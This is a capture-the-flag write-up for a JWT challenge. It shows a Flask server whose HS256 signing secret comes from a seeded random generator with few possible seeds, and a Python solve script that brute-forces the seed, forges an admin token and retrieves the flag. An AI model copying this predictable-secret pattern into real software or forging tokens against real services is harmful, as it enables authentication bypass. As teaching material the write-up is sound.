Master JWT

Description

master-jwt-description

https://jwt.ctf.cert.unlp.edu.ar

Source:

from flask import Flask, request, jsonify, make_response
from flask_limiter import Limiter
from jwt import decode, encode, exceptions
import random
from random import randint
import os
from flask import Flask
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

app = Flask(__name__)

limiter = Limiter(
    app=app,
    default_limits=["2 per minute"],
    key_func=get_remote_address,
)

random.seed(f"Sup3S4f3{randint(0, 1000)}")

app.secret_key = f"Sup3S4f3{randint(0, 1000000000000)}"

FLAG = os.environ.get("FLAG", "CTF{fake_flag}")

@app.route('/', methods=['GET'])
@limiter.limit("2 per minute")
def index():
    jwt_token = request.headers.get('Authorization')

    if not jwt_token:
        response = make_response(jsonify({"error": "Missing JWT token"}), 401)
        new_token = encode({"user": "non privileged"}, app.secret_key, algorithm='HS256')
        response.headers['WWW-Authenticate'] = f'Bearer {new_token}'
        return response
    
    try:
        payload = decode(jwt_token, app.secret_key, algorithms=['HS256'])
        user = payload.get('user', '')
        
        if user.lower() == 'admin':
            return jsonify({"flag": FLAG}), 200
        else:
            return jsonify({"error": "Not authorized"}), 403

    except exceptions.InvalidTokenError:
        return jsonify({"error": "Invalid JWT token"}), 401
    

app.run(debug=False, host="0.0.0.0",port=1337)

Solution

The jwt is using a secret generated from random value, this is unsecure because it's first using seed and then random. If seed is found all other "random" values will also be found.

First lets get the JWT token generated by application.

➜ curl -I https://jwt.ctf.cert.unlp.edu.ar
HTTP/1.1 401 UNAUTHORIZED
server: Werkzeug/3.0.0 Python/3.9.18
date: Thu, 26 Oct 2023 12:00:55 GMT
content-type: application/json
content-length: 30
www-authenticate: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoibm9uIHByaXZpbGVnZWQifQ.dNxWC7BTKLZqKoqDd-XCWE2MOC7lElrRVdJpbLSxR4M

Bruteforce the seed:

from jwt import encode
import random
from random import randint
import requests

URL = 'https://jwt.ctf.cert.unlp.edu.ar'
target = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoibm9uIHByaXZpbGVnZWQifQ.dNxWC7BTKLZqKoqDd-XCWE2MOC7lElrRVdJpbLSxR4M'

for i in range(1001):
    random.seed(f"Sup3S4f3{i}")
    secret_key = f"Sup3S4f3{randint(0, 1000000000000)}"
    token = encode({"user": "non privileged"}, secret_key, algorithm='HS256')
    if token == target:
        print()
        print("Key Found:", secret_key)
        break
    print(f'\rTrying {secret_key=}', end='')


token = encode({"user": "admin"}, secret_key, algorithm='HS256')
print("Admin Token:", token)

resp = requests.get(URL, headers={"Authorization": token})
print(resp.text)
└─$ python solve.py
Trying secret_key='Sup3S4f3499870157290'
Key Found: Sup3S4f3789214526580
Admin Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.FFNcWmXDu-hxFMSo424FA5OXVT9NkWG-zGGA82oSQZ0
{"flag":"flag{JwT_M4st3r!!!!}"}

Last updated